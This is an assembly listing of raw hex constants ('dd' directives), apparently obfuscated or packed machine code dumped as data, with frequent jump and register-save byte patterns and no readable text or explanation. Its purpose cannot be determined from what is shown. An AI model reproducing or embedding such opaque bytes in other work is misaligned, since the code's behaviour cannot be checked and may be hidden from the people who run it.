		dd 0C8C1C4C9h, 840F03B8h, 5, 0E3D88166h, 8B66598Bh, 0E9E68AF8h
		dd 0Ah,	539721BBh, 1C870B3h, 14E874B2h,	11000000h, 0FB26D115h
		dd 63047671h, 341D7130h, 0AC9C53Dh, 8AB7DE6Dh, 19BE5AF4h
		dd 0E95EB112h, 0Fh, 339D7F8Ah, 0C11113C4h, 0FBD2D293h
		dd 8A7FE00Dh, 816660E7h, 0FC94DE6h, 286h, 617DB600h, 5658CC80h
		dd 80F38B60h, 5A61DEE7h, 0E95051F5h, 0Dh, 6DFA2D31h, 0E226968Eh
		dd 917CAD41h, 815A5806h, 5C66B1D7h, 80FCF516h, 60528DE3h
		dd 0EB815857h, 76C31F5Eh, 4CB05861h, 61FCFC60h,	0BEF2BF0Fh
		dd 21E23CB9h, 66CB8B66h, 8B60D98Bh, 8E861CBh, 1F000000h
		dd 262CFB53h, 665ABBA8h, 0E95AD08Bh, 13h, 454D8FF0h, 2993C617h
		dd 8BBFD99Bh, 2831ED8Ch, 0F743E4Ah, 780h, 1890F00h, 0F5000000h
		dd 0FA6C180h, 78Dh, 1860F00h, 0F8000000h, 850FACB1h, 4
		dd 0DB6CB866h, 9E9h, 1906E300h,	0DDA422A9h, 0BE66B3F3h
		dd 0BF6618F5h, 870F8684h, 4, 5EC88B53h,	0FE9h, 90DAEA00h
		dd 9EA1EEC5h, 0E9BA49A4h, 0BD7F6A66h, 8AB3B960h, 60616345h
		dd 0CF5AF081h, 12E81FCFh, 3F000000h, 29A97E51h,	54A47BC1h
		dd 7E316BAEh, 44386589h, 0EED88154h, 58226D8Fh,	75EB8061h
		dd 5E8h, 64BA9200h, 0BE66FF52h,	665AFFA2h, 58D7D781h, 4DB8166h
		dd 0DE9F9h, 11380000h, 0A1351DF8h, 0FE73485Bh, 0E9DE9829h
		dd 14h,	1110EFBAh, 0A8132D00h, 5402CA3Eh, 707CD6BCh, 362C6BFBh
		dd 60F5CE8Bh, 4FDACB81h, 0DE87B95h, 80000000h, 3B8EB88Dh
		dd 4A23A583h, 3C1A6CA7h, 615BC68Bh, 48A0Fh, 0BA660000h
		dd 0E95268A6h, 0Dh, 2F427687h, 0CF94BA22h, 2FBC9BC6h, 0DE8158FCh
		dd 45F3B88Bh, 66C2B70Fh, 8B1294BAh, 0BF0F56CAh,	81665FC8h
		dd 0E8CC68F6h, 0Eh, 0F9DE9706h,	0F5913D68h, 81096447h
		dd 10E90833h, 0CD000000h, 99905E7Ah, 1292983Dh,	6F8EA4E5h
		dd 5AA5B5B7h, 0FFAED80h, 48Bh, 0D8BF6600h, 11E8CCh, 0B5740000h
		dd 2D3A7344h, 6D64EBF5h, 725AA548h, 8169AF18h, 371C65EBh
		dd 81665F44h, 6667FAD0h, 510B96BEh, 5E9h, 0A87A3F00h, 815E9F9Fh
		dd 0FBFDD2E9h, 7E84Dh, 9D660000h, 5EED33D4h, 5B72B2E1h
		dd 0F8D78B66h, 0DE9h, 26B8F500h, 7D19F2ACh, 0F0BF5831h
		dd 7ABBA096h, 667CF150h, 6378EB81h, 0C5EB8166h,	3EC38117h
		dd 0F7182B0h, 583h, 0CF816600h,	8E0F0787h, 8, 44E78160h
		dd 6159EFAFh, 0EBEDBB66h, 0D2BBCA8Ah, 0B75BBBC0h, 0FE96035h
		dd 4A000000h
		dd 5D2F2338h, 8659824Bh, 51028955h, 0B70F77CBh,	816661C3h
		dd 8BE7C9F6h, 0E38060FAh, 6162B2B4h, 0FC7BF0Fh,	483h, 0CFB25100h
		dd 138A0F58h, 60000000h, 830Fh,	6E90000h, 2F000000h, 84FB2Bh
		dd 0FCBE61E6h, 0F7AFF3Dh, 178Eh, 12E900h, 0D9C50000h, 0A357C31h
		dd 9D799C01h, 1FC0999Dh, 0C48BF716h, 0BE9h, 0F333B200h
		dd 9FD838C9h, 6AF5828Fh, 0AE9h,	4BB70500h, 288C781Ch, 81C8CE1Fh
		dd 9AB946E9h, 0BFDA8B59h, 639CBC48h, 6AC08166h,	0FFA8BCEh
		dd 8166D2B7h, 8025B8D9h, 14E89AE2h, 0BC000000h,	6E3DFF93h
		dd 0A4A0849Bh, 0EBB412DBh, 29B19D05h, 0E8674F39h, 6, 0F34E59FAh
		dd 25B4047Ah, 0B9665E58h, 0DF8B25C2h, 0B70F7EB5h, 3EF681D0h
		dd 0BE1F8FEBh, 4D0FD09Bh, 78E0Fh, 8C0F0000h, 1,	0A9B951F8h
		dd 5F17E7BCh, 5850FFCh,	0BB000000h, 4B925181h, 99C28166h
		dd 0B9E3819Ah, 0F5749C7Ch, 890FF38Bh, 6, 0D122DB81h, 0FC523716h
		dd 10E85Bh, 0B2F00000h,	739B10Dh, 0DFB3B0D3h, 34986F29h
		dd 6659D7CEh, 0F3006BFh, 0E8Eh,	9E900h,	24D60000h, 0B28B8556h
		dd 0FEF3886h, 0F8Eh, 0AE900h, 26900000h, 0B9A0C34h, 8E35E808h
		dd 860Fh, 81520000h, 1595DDF2h,	0A1B15941h, 80F7B70Fh
		dd 8A0FB0CBh, 7, 0F59B760h, 0E961F2B7h,	10h, 75C6A106h
		dd 21A02705h, 0FC1AAC0Eh, 6FE2FC07h, 13E9h, 0D7F12800h
		dd 0B109B408h, 0B62CEBFDh, 6264CA30h, 0C9846278h, 0F6BF0F60h
		dd 0BD8FD081h, 0E9615943h, 0Fh,	0B2741379h, 827CE849h
		dd 72E90ED4h, 509CAF85h, 59C8B70Fh, 81EA8166h, 0DF8B66D3h
		dd 0C2E88157h, 5F2F982Fh, 0E8B09CBAh, 0F681661Fh, 8F0F5AEAh
		dd 3, 0FF1BF0Fh, 283h, 0B7C68B00h, 0CDE580A1h, 58C0FFCh
		dd 0BF000000h, 1276561Ch, 58D18A56h, 4B9FBB66h,	7CD06ABAh
		dd 9E859h, 448D0000h, 0F274D38Bh, 8BA19B51h, 0D18B5AC8h
		dd 9FFFE5BAh, 0BE924h, 42AC0000h, 47E085BDh, 0DE8730A9h
		dd 9850F29h, 0F000000h,	38Fh, 0D2BF0F00h, 5950D88Bh, 0FE9h
		dd 0E6E05E00h, 98AAD1D1h, 0F60973A9h, 77442952h, 7E21B966h
		dd 7C18166h, 6800FBFh, 81000000h, 34E5B4F0h, 0C2B70F3Eh
		dd 9C07CF81h, 5E50696Fh, 0BA9BB66h, 0E944DB80h,	8, 61F6A694h
		dd 0D337F4EDh, 0FE960h,	79700000h, 88C04C09h, 534190D6h
		dd 0E58D8735h, 0E6816655h, 0F613A3Fh, 10E8C0B7h, 23000000h
		dd 49837FD0h, 0E92FEFDFh, 0C85C1381h, 0F5809CDh, 0F959DEBFh
		dd 0A1DE8166h, 0D5BB66C8h, 9E805h, 0C9A30000h, 3FCB1988h
		dd 0E919787Fh, 0Fh, 0D2AE1D93h,	0B5030ABFh, 2DBA95F9h
		dd 5A4B1A75h, 66D78B66h, 3378E081h, 8E8h, 43484B00h, 24122B48h
		dd 0DBBF0F52h, 0B3D08159h, 572C7A19h, 665EB2B2h, 2022D781h
		dd 0BBF7EF80h, 421F917Fh, 1BB4B966h, 5E8h, 0EE678400h
		dd 0F589AF3h, 8Dh, 0BF66FC00h, 0BA66FE34h, 0D78B59CBh
		dd 17DCB8F8h, 65B62C54h, 11E8h,	0F25F1400h, 0B239C21Ah
		dd 0DF3F6BDCh, 0F4CED3C5h, 8B0FEA5Eh, 3, 5FF1BF0Fh, 0AED8F081h
		dd 860F541Fh, 5, 0D1B70F53h, 0CA8B535Ah, 4DDE815Fh, 0E8339AD2h
		dd 0Ch,	46BB37Ch, 0C3910346h, 5797490h,	605FCE8Bh, 8E0F60h
		dd 0B7000000h, 61FC6129h, 6052D38Bh, 0A354DA81h, 0DEBE706Bh
		dd 61096875h, 9870F5Ah,	60000000h, 0CFB0D081h, 61FC7C90h
		dd 0AAD6BA66h, 0E8F88B66h, 14h,	48AA162h, 89C96287h, 0FA65234Eh
		dd 3BD50175h, 0B0E79F40h, 6CB482BBh, 8BF95925h,	14E8FEh
		dd 0FFEF0000h, 5FCDEE79h, 0FCABD475h, 0CB667826h, 36EEC0C2h
		dd 50B198E3h, 7B9665Fh,	108D0F2Ah, 0E9000000h, 0Bh, 839A1449h
		dd 4D60347Ah, 8B645880h, 0E78166C3h, 0D681777Fh, 1C389BC4h
		dd 58D0F60h, 0B9000000h, 6EFEADD8h, 6890Fh, 860F0000h
		dd 0
		dd 6E861h, 0EBA20000h, 0D8485A5Bh, 0BE9h, 0D028A700h, 9D4704CAh
		dd 0FE03E50Bh, 0DE85Bh,	0A10000h, 63F38D1Dh, 836F1A51h
		dd 0B1205BF9h, 66FC5BA0h, 0B999CCBEh, 6462AE8Bh, 0CAB70F60h
		dd 0DE8h, 56ACCA00h, 3B73F31Dh,	0EB71F636h, 585131C0h
		dd 0CE96158h, 0AC000000h, 6FAC79ADh, 64187145h,	0F5E1FB8h
		dd 0B8Ch, 5840F00h, 0B9000000h,	14A0A8F5h, 13E957h, 58A60000h
		dd 4CECCF9Ah, 583094F5h, 0E9A2174h, 103F1697h, 0B70F5E81h
		dd 5BE66F0h, 5810F02h, 0B8000000h, 4D29C998h, 66D38B66h
		dd 374DD781h, 8C1BB966h, 50606160h, 8D0Fh, 0F5F0000h, 681h
		dd 33D68100h, 616BF86Ah, 4EC5CE81h, 0A4B113EFh,	0FE9h
		dd 7BA2A100h, 73D2E8Fh,	53A0A997h, 98357A6Ah, 0FF08B66h
		dd 830FC2BFh, 1, 8AD781FCh, 8B1CCDCDh, 870FF1h,	0E9000000h
		dd 10h,	0F078C05Ch, 66B4509h, 20BEF1D1h, 0D4F2494Ch, 0DE9h
		dd 0CC8B7F00h, 510994h,	99186C6Dh, 0F38B0535h, 19830Fh
		dd 14E90000h, 66000000h, 0B9244F60h, 7D517CEDh,	1E85BB39h
		dd 3C7B7912h, 60C44DDCh, 7642D881h, 0BE96B6Ah, 9B000000h
		dd 126ADB9Ch, 0DB581D2Dh, 66615D26h, 97A3F381h,	1850Fh
		dd 0FF50000h, 68Eh, 2CE78100h, 0E8603C64h, 10h,	5CF241A1h
		dd 0CF740EF9h, 0A0B8CFA6h, 1DE3D1C8h, 6CD98166h, 0F535A43h
		dd 68Dh, 0FBD18100h, 5E491400h,	0DE9h, 0E86D0400h, 0AAE95620h
		dd 0FF9CDF80h, 0FE8818Ch, 8D000000h, 0D97379DAh, 73C20427h
		dd 0E8EDAD78h, 0E86098A0h, 0Bh,	2B12D040h, 462BEC3Ch, 5EA9E1B8h
		dd 9E9h, 0E7E91D00h, 6016DEAAh,	5961F61Fh, 82EB8166h, 0FF48AD7h
		dd 587h, 9426BF00h, 0C8816DBFh,	3419D109h, 10E9h, 0B28C7A00h
		dd 5F363211h, 70B4A164h, 0C70F21C3h, 0F5D18BECh, 6E9h
		dd 2856700h, 0FBE1975h,	0D38BF1B7h, 0C631EE81h,	8B666D8Dh
		dd 13E9CFh, 854B0000h, 0BA3DB36Eh, 7606F605h, 0E29622F3h
		dd 0EDBA55D1h, 0BBD08B3Fh, 11AA4A32h, 28C7DA81h, 0B70F42BBh
		dd 0CE8166F8h, 0E3803A38h, 84B86062h, 6128248Dh, 2BA6657h
		dd 0BF505FFEh, 764B6042h, 68B0F58h, 60000000h, 616090B3h
		dd 68BA6661h, 0DD780B6h, 0ADB7AAB8h, 118B0F48h,	0E9000000h
		dd 0Ch,	0F7E537A6h, 0B292F890h,	37A02DE7h, 11E8h, 6B162B00h
		dd 526033F9h, 0FAD52663h, 0C1521E45h, 8A0FDACEh, 2, 0F5EF6B5h
		dd 0C68BFFBFh, 0AE8h, 54B1EE00h, 0E261C565h, 56C8EF22h
		dd 5AF3B70Fh, 6058535Fh, 61FCE780h, 6870F53h, 81000000h
		dd 127830C7h, 0DE85F51h, 84000000h, 7F99A25Fh, 0B5B3E6D2h
		dd 0D2DF96A9h, 59D0B70Fh, 11E9h, 5B361600h, 0AF2057A7h
		dd 0A938F041h, 3298DD53h, 81561EB7h, 81C037C3h,	80565858h
		dd 665FEAC1h, 0E9BDF4B9h, 11h, 0DEDE62DAh, 66ACFA62h, 1F22F2B7h
		dd 6DA5ED58h, 88F0FFFh,	0F000000h, 280h, 66E68A00h, 66E652BBh
		dd 8139F8BEh, 850BC1C1h, 0BCDABA01h, 0DF810969h, 224D2158h
		dd 6E9h, 27665C00h, 662A470Bh, 51FD7EB8h, 0E9616060h, 12h
		dd 113C9EA9h, 6EF9FC94h, 5693C59Fh, 9895E7AAh, 59617B7Ah
		dd 8E9D88Bh, 0B8000000h, 858D444h, 66C8558Fh, 66E891B8h
		dd 0DB81F08Bh, 144603C1h, 38CF8166h, 2ABF66A5h,	1850F6Ch
		dd 0F5000000h, 0BBCBB70Fh, 5A22F1E7h, 0FE9h, 0CA83AA00h
		dd 331836D5h, 0E4548A51h, 0C305C936h, 960ABB66h, 0EE9h
		dd 0DB8E9800h, 91E844CCh, 7B8CF9FAh, 0F668441h,	683h, 59566000h
		dd 0E961F18Bh, 0Ch, 7A823285h, 3A7B4F1Dh, 0BAE66B65h, 2D69BB66h
		dd 11E9h, 0E5866900h, 28FAA690h, 61A569CDh, 0F3F26EC2h
		dd 81F5A9FEh, 559FE2C2h, 8157B53Bh, 6BC184DEh, 187DB921h
		dd 0D0815549h, 0D57ECBCh, 0C88B66F5h, 0D8BF0F60h, 10890F61h
		dd 0E9000000h, 0Bh, 0FBA86607h,	0D4F7D963h, 668A9F2Dh
		dd 0C6A8EA81h, 1B91EB81h, 870F1855h, 6,	8B0Fh, 10E90000h
		dd 0FF000000h, 14721E65h, 0E1FEFB75h, 0AA7107B7h, 8BC775B8h
		dd 6870FC2h, 81000000h,	0C26709EBh, 0E9D18B4Dh,	10h, 7CFDC8ECh
		dd 0B2FA50C1h, 0F7B5399Fh, 11BD3660h, 13880Fh, 800F0000h
		dd 0Dh,	7E8h, 0A13EC100h, 604A628Eh, 91BB665Ah,	0B7FE8AF1h
		dd 5AFC57B7h, 66DE8B66h, 0B70FCA8Bh, 80F2BAF0h,	870F524Eh
		dd 5, 174B36B8h, 14E958h, 10660000h, 150BED0Eh,	4B8F5ED3h
		dd 591BC754h, 0B1AF10CDh, 82BE1BABh, 0E8533863h, 0Dh, 9A766FC7h
		dd 0AC476DBDh, 0DBFF811Dh, 816658AFh, 0E92624EBh, 5, 0E0165E48h
		dd 0E9C78B2Eh, 11h, 0F5AACCA1h,	87BF8502h, 0FD6642F7h
		dd 2DF9DDFAh, 870FFCF2h, 2, 0DE8BD08Bh,	1B8B0Fh, 13E80000h
		dd 31000000h, 37662C3Bh, 2D0C3D25h, 0A55A167h, 0F04DD021h
		dd 59531974h, 0E9A4B05Bh, 0Dh, 0F950D648h, 0B4EF9E5Ah
		dd 1E293C96h, 8E9EEh, 33EF0000h, 0AE6E069Eh, 0FA8A5B1Dh
		dd 0DE8h, 0C219E100h, 57295776h, 45E4F962h, 0EE817358h
		dd 52962FF1h, 0CE95Fh, 88930000h, 666597B3h, 37C6439Eh
		dd 0F5F86105h, 0BAE38AF8h, 76027F15h, 81C8BF0Fh, 64CA52CEh
		dd 12E903h, 76280000h, 2346A49Dh, 0F9E168DDh, 0B5B86A19h
		dd 0B926EFA0h, 5C7DC081h, 8B664C3Ah, 78A0FF7h, 53000000h
		dd 553CA8BAh, 840F5F48h, 5, 0C1D08166h,	283BB98Bh, 0BE663423h
		dd 850F34B3h, 3, 0B2D68B66h, 80E0806Ah,	4ED5B966h, 6E9h
		dd 0BAA56800h, 0B5DB39DDh, 3830FC3h, 66000000h,	8B50DA8Bh
		dd 49B559FAh, 10E8h, 7632900h, 0C63C02Dh, 0D691AC1Bh, 0D0BBEEBFh
		dd 14E907h, 0EBEE0000h,	0C3966507h, 13C8526Fh, 0EF2F45D5h
		dd 0CDEE79FFh, 6659755Fh, 66A4ABBEh, 0F81513BAh, 296295BEh
		dd 48F0F0Ah, 51000000h,	665FE58Ah, 0ACBBF98Bh, 0F2B2480h
		dd 1887h, 13E900h, 60E40000h, 0A0F657DDh, 0B464C426h, 0D5459B75h
		dd 2DB15967h, 0F18B667Ah, 0FE960h, 0D3560000h, 3B590111h
		dd 108712B4h, 534381B9h, 0FCE811Fh, 616368FBh, 0CE9h, 0E7DA3B00h
		dd 0CA438285h, 3FCA0D95h, 0C181F524h, 5267CFB2h, 992448BBh
		dd 12E932h, 738D0000h, 0A5C3D42Dh, 0BB016363h, 1585200Dh
		dd 0E2A520EDh, 890FECB3h, 0
		dd 1680BB66h, 13E8h, 0BB9BA300h, 665A310Fh, 1170B245h
		dd 998D13E0h, 9B169B10h, 0C8DA805Fh, 11E8h, 2EEAC600h
		dd 0E0598472h, 0B185F4CBh, 0E23BFFA1h, 0C2814984h, 30BA07C0h
		dd 0E8F3B759h, 6, 16AF1F4Fh, 0BF0FE607h, 8A0F59C0h, 5
		dd 0FFE18166h, 505660EBh, 0DE80595Bh, 0CE96163h, 8C000000h
		dd 950FDFA9h, 93D2FA70h, 0F5009B5h, 0B70FCFB7h,	0FA8B66DBh
		dd 66FBB70Fh, 50D7AAB8h, 0EE9h,	4113F400h, 8DECFEECh, 15520AECh
		dd 59934614h, 0EE8h, 0FE06AE00h, 7AC95546h, 27C1DD12h
		dd 0BB06537Ch, 5D718F5Bh, 0B8F0F58h, 0F000000h,	58Fh, 0ABF2B900h
		dd 12E952D8h, 0AD000000h, 91D96520h, 320865D9h,	0DCCEEB47h
		dd 0DD1C1EA7h, 0C2B70FFBh, 0AE57B866h, 13890Fh,	7E80000h
		dd 9000000h, 542EB427h,	0EE813D38h, 12EF9333h, 0ECDA805Ah
		dd 0CE9h, 1EA54400h, 0C8310D32h, 0E33F9F08h, 0F68166F3h
		dd 0BB66355Fh, 0D0806B6Dh, 0E7815708h, 77540E0h, 11830F5Ah
		dd 0E9000000h, 0Ch, 0A70BC7C4h,	83DEE107h, 61F0001Eh, 7E8h
		dd 0F9234200h, 0ABB545BBh, 58AFB457h, 0DE95Ah, 59B90000h
		dd 0A42D8383h, 0D25A0556h, 8B8061B3h, 1EBB66F2h, 138A0FC6h
		dd 60000000h, 890Fh, 6E90000h, 5D000000h, 6359D99Dh, 9ABF61F7h
		dd 606E7930h, 82472AB9h, 18A0F3Fh, 0F5000000h, 7E961h
		dd 0D89D0000h, 0EAA2D60Ah, 0BAD8B2E2h, 2E6DBE06h, 840FFAB0h
		dd 13h,	7E8h, 44BC0200h, 87A78BD8h, 820Fh, 815E0000h, 832554D0h
		dd 50B96644h, 0F1EB647h, 8166FAB7h, 804ADBE1h, 0D5B8CFF0h
		dd 60285654h, 1F8AE981h, 10E81318h, 90000000h, 30A5BE9Ch
		dd 20113043h, 51CE46D9h, 0B0EF295Fh, 60615989h,	0EE9h
		dd 0E3717E00h, 4196037Dh, 0AA1B6219h, 0F89DF6CAh, 0BA666061h
		dd 8166E3A3h, 61F77EEFh, 0AE8h,	0CB382200h, 304962Ch, 5ED33FCFh
		dd 18F38166h, 0B70FFC7Ch, 13E9D1h, 78A60000h, 0ABDE39E6h
		dd 0ED44EFEEh, 2F3DC619h, 0F9A1857h, 80BBB426h,	76BFCFCEh
		dd 0E9333CFCh, 13h, 59F0A8E5h, 7F551C4h, 0E656D71Fh, 7FCBD97Fh
		dd 52C22014h, 0F85BF08Ah, 798FF9BAh, 0AC28BB4Eh, 14E80658h
		dd 8D000000h, 810C515Dh, 29782F58h, 0CF9F1842h,	2675C11Bh
		dd 66F40DC7h, 0B05BF78Bh, 0E6816626h, 0B9661634h, 8A604942h
		dd 61F28BCBh, 850F90B1h, 1, 3850FF5h, 0F000000h, 0BE60F2BFh
		dd 5524A897h, 148052BAh, 0BF0F6145h, 80FB8BD7h,	80F9B1EDh
		dd 0E0810FC8h, 3F64B972h, 0E9E6C980h, 0Ch, 450039E0h, 6F729BACh
		dd 0AB9749ABh, 0B62A87BEh, 12E877h, 51680000h, 0C1C92AD1h
		dd 4622C31Bh, 0D08C8001h, 1419FBCEh, 8D0F5EF9h,	0Ah, 5E9h
		dd 5F14AC00h, 10E81AF2h, 88000000h, 0D343015Bh,	66E0DE2Ch
		dd 0AE388E3h, 0E82CAE4Fh, 0Fh, 66ADD3D2h, 81D1F6D6h, 4325452Bh
		dd 0FF0A417h, 585ACFB7h, 60FE8BFCh, 0FE9h, 0F0C21B00h
		dd 7D309FB3h, 0BAE18B82h, 4CCD5DD1h, 0FE961h, 23510000h
		dd 62E0BA56h, 0BA4109Ch, 1CD28DA2h, 8A60FC31h, 0BE61FCC5h
		dd 76BD578Eh, 0CABB66F8h, 5D13BBD0h, 0C9802C10h, 14E9B8h
		dd 0E13A0000h, 0FB20231Bh, 29052FBBh, 0B1EE9535h, 61C56554h
		dd 816622E2h, 81DAA6EFh, 0BD8A15C1h, 0FBC7813Eh, 8B52FF2Dh
		dd 0A6D980D6h, 138DE881h, 0BA666FC5h, 816095E3h, 2B820BE1h
		dd 1EF48077h, 0D1816661h, 81668990h, 0BEBF86E6h, 600E4A55h
		dd 0E9F18B66h, 0Ah, 0F6F05F62h,	0D391F37Bh, 0DE8BE89Ah
		dd 12E9h, 0E1443300h, 0DD645BFDh, 24788433h, 0D1878980h
		dd 535DED00h, 7E9h, 734F8500h, 0D2434AD7h, 6B8DBB5Fh, 0F601517h
		dd 89h,	61F38B00h, 0FCC88166h, 1AD3B9D5h, 57B45BB5h, 13E860h
		dd 48150000h, 0B15CAA7Dh, 3FF519FAh, 0A5DFDFF9h, 0DE7DD447h
		dd 0CE947h, 24D80000h, 77552CE0h, 0BF2DF4B3h, 0F5A11BFh
		dd 6061C0BFh, 886BA66h,	5820Fh,	4B90000h, 615D93EBh, 0E9606160h
		dd 5, 0D2B5D2BCh, 13E994h, 4CC40000h, 84C9A72Dh, 51ACDBAEh
		dd 0A0298CDh, 0D2AD27E8h, 0FCF5617Ch, 9CCF8166h, 0B8B86689h
		dd 0ACD980B5h, 0FF18B66h, 680h,	2FDF8100h, 800489F6h, 860F7DE4h
		dd 2, 890FD18Bh, 0
		dd 0C18B66F9h, 19850Fh,	14E90000h, 4A000000h, 0BEE8F3Bh
		dd 0DE35381Ch, 0BBA5CB8Fh, 0B3539721h, 0E801C870h, 5, 0C712F4A2h
		dd 5FDA8AF9h, 860F8FB2h, 2, 0EC805E53h,	0FE8E9h, 4A6E0000h
		dd 5DCBC704h, 0A25769CFh, 4F30E161h, 0BFBE60F4h, 0E94960BAh
		dd 0Dh,	47002B66h, 6EDE3209h, 699259F6h, 665F613Ch, 66E076BFh
		dd 6657D98Bh, 5B29E4B8h, 0E13EB966h, 9E9h, 15AE1600h, 13B621F8h
		dd 890FC30Bh, 25h, 0AE8h, 692BB500h, 4979305Bh,	0E99D5F25h
		dd 10h,	6E4E9AE1h, 5E638A26h, 0BFAB359Fh, 4811682Dh, 0B966515Ah
		dd 8A5A3025h, 8B6660EEh, 0C2B70FD1h, 0BA665161h, 0F5A3EBAh
		dd 8B66F0BFh, 0FC88AFAh, 1C8Fh,	14E800h, 0AE380000h, 95337C87h
		dd 63D5B97Ch, 76FF8613h, 768C7EEAh, 0FA8B4029h,	0FA8B665Eh
		dd 78E0Fh, 810F0000h, 1, 80EBBEF8h, 8B661197h, 0F38B66C7h
		dd 5870Fh, 81660000h, 66F8D4F3h, 8AF8D98Bh, 525A50F8h
		dd 59D8B70Fh, 0AE8h, 946ECC00h,	16101E53h, 512923B2h, 8E0Fh
		dd 58580000h, 0FF08B66h, 588h, 0D7816600h, 0BF0F4511h
		dd 0DE8FEh, 0C580000h, 0B8403E7Eh, 95E1ACCBh, 816048F2h
		dd 694B1FC2h, 8B66585Dh, 0BE9DAh, 0C26D0000h, 0E2B09C02h
		dd 65FB2A1Bh, 0C0BF5002h, 5E096AE4h, 8E9h, 3B33FA00h, 0BFE2ACF6h
		dd 0E834B31Ah, 5, 370F11B9h, 13E984h, 0E9FB0000h, 9657FDC5h
		dd 0A3CF97CDh, 5E379EAh, 98529F45h, 850F5EC1h, 0Ah, 48E0Fh
		dd 0BA660000h, 8160E9CDh, 4173BFD3h, 0CF816652h, 0F61B7F9h
		dd 0C880C6B7h, 66F38B0Dh, 10E9C68Bh, 39000000h,	0AD90C09h
		dd 0C7FA9F1Dh, 21179651h, 0E882C85Bh, 12h, 349AC76Dh, 58671E40h
		dd 0ED76B825h, 13409F43h, 0B9573EEDh, 6BC518F1h, 0F605F5Ah
		dd 681h, 890F00h, 61000000h, 238B0Fh, 11E80000h, 9B000000h
		dd 0B8F37412h, 254D6F84h, 1AC4CC5Bh, 1659B264h,	7E9h, 9A69D800h
		dd 6FF5C946h, 6830F5Ah,	81000000h, 6A1171DBh, 1AE08126h
		dd 66006B7Eh, 0DE8AF08Bh, 810Fh, 0F38A0000h, 8B59F850h
		dd 0ACBE66D6h, 8B606085h, 0D08166D7h, 6661E7BDh, 2F26C681h
		dd 0D5B86661h, 5850F80h, 51000000h, 598EE580h, 0B4C08166h
		dd 96B96630h, 0F3816697h, 860FE25Eh, 3,	66D98B66h, 0BF33E381h
		dd 3890Fh, 8B660000h, 0D38B66CFh, 810F7AB2h, 19h, 14E9h
		dd 0DE952500h, 0D7F9076Fh, 43A69B40h, 6892DE0Eh, 1C77B88Ch
		dd 11E8E4h, 672D0000h, 210A55A1h, 74F04DD0h, 0EBC69F19h
		dd 0F6BF89Fh, 281h, 5B616000h, 0EE8h, 6117E00h,	0CC9857AFh
		dd 0D50490F3h, 0FECC100h, 583h,	0EB816600h, 0B058B198h
		dd 0D98160D2h, 27E140B9h, 34C78166h, 9E961BEh, 0BD000000h
		dd 5B04AE17h, 0E2A9D94Dh, 0D18150F9h, 3DB7BFC0h, 2A72BF5Ah
		dd 8F0F4371h, 1, 0E82CB3F9h, 0Eh, 8A6472CEh, 0EE08E1C9h
		dd 802C9DAEh, 0BB596CC1h, 4BA3B0AAh, 0EE9h, 0A49A1700h
		dd 5E96F615h, 9AB44394h, 0B984D123h, 613BDA89h,	8D0FD68Bh
		dd 1Bh,	158F0Fh, 10E90000h, 0CD000000h,	4D7DBD2Ah, 60FE183Bh
		dd 0C4ABBCB7h, 60DC6B4Bh, 66F0BF0Fh, 61BBADBFh,	0E960D18Ah
		dd 0Dh,	1E9FA151h, 3E500584h, 90D87322h, 61D88B73h, 0EE95856h
		dd 87000000h, 0DBA52B21h, 0AF2CD23Dh, 9A4A1CDDh, 0C1BF0FD9h
		dd 0DE9h, 3AF62100h, 66ADD3D2h,	81D1F6D6h, 8B66452Bh, 0C582B9C7h
		dd 0B70F0F6Eh, 9E9D3h, 0E3B30000h, 51E660C7h, 8B063DA7h
		dd 1EE081D1h, 0F284E2Eh, 1382h,	0EE900h, 18EB0000h, 6FCF33CEh
		dd 0FD345D2Eh, 0A83BBDB0h, 53D1B70Fh, 8ADE8166h, 81665B9Eh
		dd 0FF1CCF1h, 148Ch, 0FE900h, 8D570000h, 9061E3B5h, 7C2514A2h
		dd 2186FA9h, 0CF8B668Ah, 66F38B66h, 11E9D38Bh, 6B000000h
		dd 27C437CFh, 7780D209h, 0F2F34674h, 0D5B1D146h, 5870Fh
		dd 81660000h, 0E91788F1h, 12h, 0BE6DAD8h, 0FCC4FE94h, 0AD2BE909h
		dd 2576E00Eh, 0BA662836h, 81667F2Dh, 5292C9F0h,	6E9h, 0ECAA2D00h
		dd 5FF05199h, 0CE9h, 0C040F600h, 29703A7Ch, 1B891C8Ah
		dd 0BCC7810Bh, 0E9447C4Ch, 0Fh,	0B7058590h, 8C781C4Bh
		dd 0C8CE1F28h, 0E9A9FF9Fh, 0Fh,	7E16E63h, 13D61DCBh, 0EC9F3F2Bh
		dd 0BB38DF3Ch, 5E0AA5ADh, 820Fh, 0CE8B0000h, 2CE662BAh
		dd 0C68B662Bh, 7BB6650h, 66605845h, 8B66C78Bh, 890F61D9h
		dd 0Bh,	58B0Fh,	81660000h, 663B27C7h, 2E59CE81h, 11E9h
		dd 0D7217B00h, 0C8AE73F8h, 65B218FFh, 49155953h, 0DE8A5969h
		dd 8E9h, 0DBECCC00h, 1673609Ah,	3840FE3h, 66000000h, 0B70FCF8Bh
		dd 5E9CEh, 627D0000h, 0E87003D7h, 0Fh, 0FDB7A77Bh, 0BEBEC7C1h
		dd 4D77EFD7h, 0E9E6A43Dh, 9, 0A873F2EEh, 83EA6D9Eh, 81665A8Ah
		dd 0B927A2CFh, 3C6C70CBh, 0FBBF0FF9h, 0DE9h, 1E9AF00h
		dd 0B80DE3C1h, 0DD9CC50Eh, 8166907Bh, 8149FCEAh, 84D751CFh
		dd 0AE95Ah, 54470000h, 0E2AF2B23h, 5C276170h, 6800Fh, 0D7810000h
		dd 58212825h, 68B0Fh, 0E3810000h, 2411A67Ah, 11E9h, 455CFE00h
		dd 60EBD100h, 0A07A079Ah, 6653DC3Ah, 0D68BE32Ch, 0A3EE8166h
		dd 0F515274h, 585BC1B7h, 13E9h,	0F4B03E00h, 0DD37AE68h
		dd 2F44A154h, 5ED28734h, 0E1286E78h, 0F9F86056h, 8A535E61h
		dd 0BE958C3h, 0B6000000h, 6A4B655Ah, 1D1EB6A2h,	12E913CBh
		dd 0FE000000h, 44003263h, 21BCB5DCh, 7B5528D2h,	0AAB7AEE8h
		dd 0D781664Eh, 830F6738h, 15h, 0F850Fh,	0AE90000h, 7A000000h
		dd 0DD303F76h, 57AEC827h, 0FD8A6011h, 6061CE8Ah, 4CB96660h
		dd 12E8BBh, 2FFD0000h, 0C5670197h, 1607866Bh, 0B7A50F6Fh
		dd 0FD75EEBh, 1CB4615Eh, 0F3BF0F61h, 6773E981h,	800F0850h
		dd 0Bh,	5830Fh,	81660000h, 523BFDC0h, 0B95BEF8Ah, 251863F2h
		dd 810F5E56h, 6, 510DB260h, 0F516158h, 8B5AC6B7h, 3850FCAh
